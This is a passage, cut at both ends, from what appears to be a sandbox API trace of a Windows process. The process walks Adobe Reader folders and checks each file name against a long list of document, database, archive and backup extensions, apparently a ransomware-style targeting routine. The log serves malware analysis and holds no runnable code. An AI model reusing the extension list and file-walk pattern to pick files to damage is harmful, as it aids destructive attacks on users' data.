(lpString=".bay") returned 4 [0271.299] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0271.299] lstrlenW (lpString=".bd") returned 3 [0271.299] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0271.299] lstrlenW (lpString=".bin") returned 4 [0271.299] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0271.299] lstrlenW (lpString=".bmp") returned 4 [0271.300] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0271.300] lstrlenW (lpString=".bz2") returned 4 [0271.300] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0271.300] lstrlenW (lpString=".c") returned 2 [0271.300] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0271.300] lstrlenW (lpString=".cdr") returned 4 [0271.300] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0271.300] lstrlenW (lpString=".cer") returned 4 [0271.300] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0271.300] lstrlenW (lpString=".cf") returned 3 [0271.300] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0271.300] lstrlenW (lpString=".cfc") returned 4 [0271.300] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0271.300] lstrlenW (lpString=".cfm") returned 4 [0271.300] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0271.300] lstrlenW (lpString=".cfml") returned 5 [0271.300] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0271.300] lstrlenW (lpString=".cfu") returned 4 [0271.300] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0271.300] lstrlenW (lpString=".chm") returned 4 [0271.300] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0271.300] lstrlenW (lpString=".cin") returned 4 [0271.301] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0271.301] lstrlenW (lpString=".class") returned 6 [0271.301] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0271.301] lstrlenW (lpString=".clx") returned 4 [0271.301] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0271.301] lstrlenW (lpString=".config") returned 7 [0271.301] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0271.301] lstrlenW (lpString=".cpp") returned 4 [0271.301] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0271.301] lstrlenW (lpString=".cr2") returned 4 [0271.301] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0271.301] lstrlenW (lpString=".crt") returned 4 [0271.301] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0271.301] lstrlenW (lpString=".crw") returned 4 [0271.301] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0271.301] lstrlenW (lpString=".cs") returned 3 [0271.301] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0271.301] lstrlenW (lpString=".css") returned 4 [0271.301] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0271.301] lstrlenW (lpString=".csv") returned 4 [0271.301] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0271.301] lstrlenW (lpString=".cub") returned 4 [0271.301] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0271.301] lstrlenW (lpString=".dae") returned 4 [0271.301] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0271.301] lstrlenW (lpString=".dat") returned 4 [0271.301] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0271.302] lstrlenW (lpString=".db") returned 3 [0271.302] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0271.302] lstrlenW (lpString=".dbf") returned 4 [0271.302] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0271.302] lstrlenW (lpString=".dbx") returned 4 [0271.302] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0271.302] lstrlenW (lpString=".dc3") returned 4 [0271.302] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0271.302] lstrlenW (lpString=".dcm") returned 4 [0271.302] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0271.302] lstrlenW (lpString=".dcr") returned 4 [0271.302] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0271.302] lstrlenW (lpString=".der") returned 4 [0271.302] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0271.302] lstrlenW (lpString=".dib") returned 4 [0271.302] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0271.302] lstrlenW (lpString=".dic") returned 4 [0271.302] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0271.302] lstrlenW (lpString=".dif") returned 4 [0271.302] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0271.302] lstrlenW (lpString=".divx") returned 5 [0271.302] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0271.302] lstrlenW (lpString=".djvu") returned 5 [0271.302] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0271.302] lstrlenW (lpString=".dng") returned 4 [0271.302] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0271.303] lstrlenW (lpString=".doc") returned 4 [0271.303] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0271.303] lstrlenW (lpString=".docm") returned 5 [0271.303] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0271.303] lstrlenW (lpString=".docx") returned 5 [0271.303] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0271.303] lstrlenW (lpString=".dot") returned 4 [0271.303] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0271.303] lstrlenW (lpString=".dotm") returned 5 [0271.303] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0271.303] lstrlenW (lpString=".dotx") returned 5 [0271.303] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0271.303] lstrlenW (lpString=".dpx") returned 4 [0271.303] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0271.303] lstrlenW (lpString=".dqy") returned 4 [0271.303] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0271.303] lstrlenW (lpString=".dsn") returned 4 [0271.303] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0271.303] lstrlenW (lpString=".dt") returned 3 [0271.303] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0271.303] lstrlenW (lpString=".dtd") returned 4 [0271.303] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0271.303] lstrlenW (lpString=".dwg") returned 4 [0271.303] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0271.303] lstrlenW (lpString=".dwt") returned 4 [0271.304] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0271.304] lstrlenW (lpString=".dx") returned 3 [0271.304] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0271.304] lstrlenW (lpString=".dxf") returned 4 [0271.304] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0271.304] lstrlenW (lpString=".edml") returned 5 [0271.304] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0271.304] lstrlenW (lpString=".efd") returned 4 [0271.304] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0271.304] lstrlenW (lpString=".elf") returned 4 [0271.304] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0271.304] lstrlenW (lpString=".emf") returned 4 [0271.304] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0271.304] lstrlenW (lpString=".emz") returned 4 [0271.304] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0271.304] lstrlenW (lpString=".epf") returned 4 [0271.304] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0271.304] lstrlenW (lpString=".eps") returned 4 [0271.304] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0271.304] lstrlenW (lpString=".epsf") returned 5 [0271.305] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0271.305] lstrlenW (lpString=".epsp") returned 5 [0271.305] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0271.305] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0271.305] FindClose (in: hFindFile=0x3315bf0 | out: hFindFile=0x3315bf0) returned 1 [0271.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0271.305] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0271.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0271.306] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\he-il\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155b0 [0271.306] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0271.306] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0271.306] FindClose (in: hFindFile=0x33155b0 | out: hFindFile=0x33155b0) returned 1 [0271.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0271.306] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0271.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0271.307] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315bf0 [0271.313] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0271.313] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0271.313] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0271.313] FindClose (in: hFindFile=0x3315bf0 | out: hFindFile=0x3315bf0) returned 1 [0271.313] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0271.313] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0271.313] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0271.314] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315ab0 [0271.315] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0271.315] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x771, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0271.315] lstrlenW (lpString="ui-strings.js") returned 13 [0271.315] lstrlenW (lpString=".1cd") returned 4 [0271.315] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0271.315] lstrlenW (lpString=".3ds") returned 4 [0271.315] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0271.316] lstrlenW (lpString=".3fr") returned 4 [0271.316] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0271.316] lstrlenW (lpString=".3g2") returned 4 [0271.316] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0271.316] lstrlenW (lpString=".3gp") returned 4 [0271.316] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0271.316] lstrlenW (lpString=".7z") returned 3 [0271.316] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0271.316] lstrlenW (lpString=".accda") returned 6 [0271.316] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0271.316] lstrlenW (lpString=".accdb") returned 6 [0271.316] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0271.316] lstrlenW (lpString=".accdc") returned 6 [0271.316] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0271.316] lstrlenW (lpString=".accde") returned 6 [0271.316] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0271.316] lstrlenW (lpString=".accdt") returned 6 [0271.316] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0271.316] lstrlenW (lpString=".accdw") returned 6 [0271.316] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0271.316] lstrlenW (lpString=".adb") returned 4 [0271.316] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0271.317] lstrlenW (lpString=".adp") returned 4 [0271.317] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0271.317] lstrlenW (lpString=".ai") returned 3 [0271.317] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0271.317] lstrlenW (lpString=".ai3") returned 4 [0271.317] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0271.317] lstrlenW (lpString=".ai4") returned 4 [0271.317] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0271.317] lstrlenW (lpString=".ai5") returned 4 [0271.317] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0271.317] lstrlenW (lpString=".ai6") returned 4 [0271.317] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0271.317] lstrlenW (lpString=".ai7") returned 4 [0271.317] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0271.317] lstrlenW (lpString=".ai8") returned 4 [0271.317] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0271.317] lstrlenW (lpString=".anim") returned 5 [0271.317] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0271.317] lstrlenW (lpString=".arw") returned 4 [0271.318] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0271.318] lstrlenW (lpString=".as") returned 3 [0271.318] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0271.318] lstrlenW (lpString=".asa") returned 4 [0271.318] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0271.318] lstrlenW (lpString=".asc") returned 4 [0271.318] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0271.318] lstrlenW (lpString=".ascx") returned 5 [0271.318] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0271.318] lstrlenW (lpString=".asm") returned 4 [0271.318] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0271.318] lstrlenW (lpString=".asmx") returned 5 [0271.318] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0271.318] lstrlenW (lpString=".asp") returned 4 [0271.318] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0271.318] lstrlenW (lpString=".aspx") returned 5 [0271.318] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0271.318] lstrlenW (lpString=".asr") returned 4 [0271.318] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0271.318] lstrlenW (lpString=".asx") returned 4 [0271.318] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0271.318] lstrlenW (lpString=".avi") returned 4 [0271.319] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0271.319] lstrlenW (lpString=".avs") returned 4 [0271.319] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0271.319] lstrlenW (lpString=".backup") returned 7 [0271.319] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0271.319] lstrlenW (lpString=".bak") returned 4 [0271.319] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0271.319] lstrlenW (lpString=".bay") returned 4 [0271.319] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0271.319] lstrlenW (lpString=".bd") returned 3 [0271.319] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0271.319] lstrlenW (lpString=".bin") returned 4 [0271.319] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0271.319] lstrlenW (lpString=".bmp") returned 4 [0271.319] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0271.319] lstrlenW (lpString=".bz2") returned 4 [0271.319] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0271.320] lstrlenW (lpString=".c") returned 2 [0271.320] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0271.320] lstrlenW (lpString=".cdr") returned 4 [0271.320] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0271.320] lstrlenW (lpString=".cer") returned 4 [0271.320] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0271.320] lstrlenW (lpString=".cf") returned 3 [0271.320] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0271.320] lstrlenW (lpString=".cfc") returned 4 [0271.320] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0271.320] lstrlenW (lpString=".cfm") returned 4 [0271.320] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0271.320] lstrlenW (lpString=".cfml") returned 5 [0271.320] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0271.320] lstrlenW (lpString=".cfu") returned 4 [0271.320] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0271.320] lstrlenW (lpString=".chm") returned 4 [0271.320] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0271.320] lstrlenW (lpString=".cin") returned 4 [0271.320] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0271.320] lstrlenW (lpString=".class") returned 6 [0271.320] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0271.320] lstrlenW (lpString=".clx") returned 4 [0271.320] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0271.320] lstrlenW (lpString=".config") returned 7 [0271.320] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0271.321] lstrlenW (lpString=".cpp") returned 4 [0271.321] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0271.321] lstrlenW (lpString=".cr2") returned 4 [0271.321] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0271.321] lstrlenW (lpString=".crt") returned 4 [0271.321] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0271.321] lstrlenW (lpString=".crw") returned 4 [0271.321] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0271.321] lstrlenW (lpString=".cs") returned 3 [0271.321] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0271.321] lstrlenW (lpString=".css") returned 4 [0271.321] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0271.321] lstrlenW (lpString=".csv") returned 4 [0271.321] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0271.321] lstrlenW (lpString=".cub") returned 4 [0271.321] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0271.321] lstrlenW (lpString=".dae") returned 4 [0271.321] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0271.321] lstrlenW (lpString=".dat") returned 4 [0271.321] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0271.321] lstrlenW (lpString=".db") returned 3 [0271.321] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0271.321] lstrlenW (lpString=".dbf") returned 4 [0271.321] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0271.321] lstrlenW (lpString=".dbx") returned 4 [0271.322] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0271.322] lstrlenW (lpString=".dc3") returned 4 [0271.322] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0271.322] lstrlenW (lpString=".dcm") returned 4 [0271.322] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0271.322] lstrlenW (lpString=".dcr") returned 4 [0271.322] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0271.322] lstrlenW (lpString=".der") returned 4 [0271.322] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0271.322] lstrlenW (lpString=".dib") returned 4 [0271.322] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0271.322] lstrlenW (lpString=".dic") returned 4 [0271.322] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0271.322] lstrlenW (lpString=".dif") returned 4 [0271.322] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0271.322] lstrlenW (lpString=".divx") returned 5 [0271.322] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0271.322] lstrlenW (lpString=".djvu") returned 5 [0271.322] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0271.322] lstrlenW (lpString=".dng") returned 4 [0271.322] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0271.323] lstrlenW (lpString=".doc") returned 4 [0271.323] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0271.323] lstrlenW (lpString=".docm") returned 5 [0271.323] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0271.323] lstrlenW (lpString=".docx") returned 5 [0271.323] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0271.323] lstrlenW (lpString=".dot") returned 4 [0271.323] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0271.323] lstrlenW (lpString=".dotm") returned 5 [0271.323] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0271.323] lstrlenW (lpString=".dotx") returned 5 [0271.323] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0271.323] lstrlenW (lpString=".dpx") returned 4 [0271.323] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0271.323] lstrlenW (lpString=".dqy") returned 4 [0271.323] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0271.323] lstrlenW 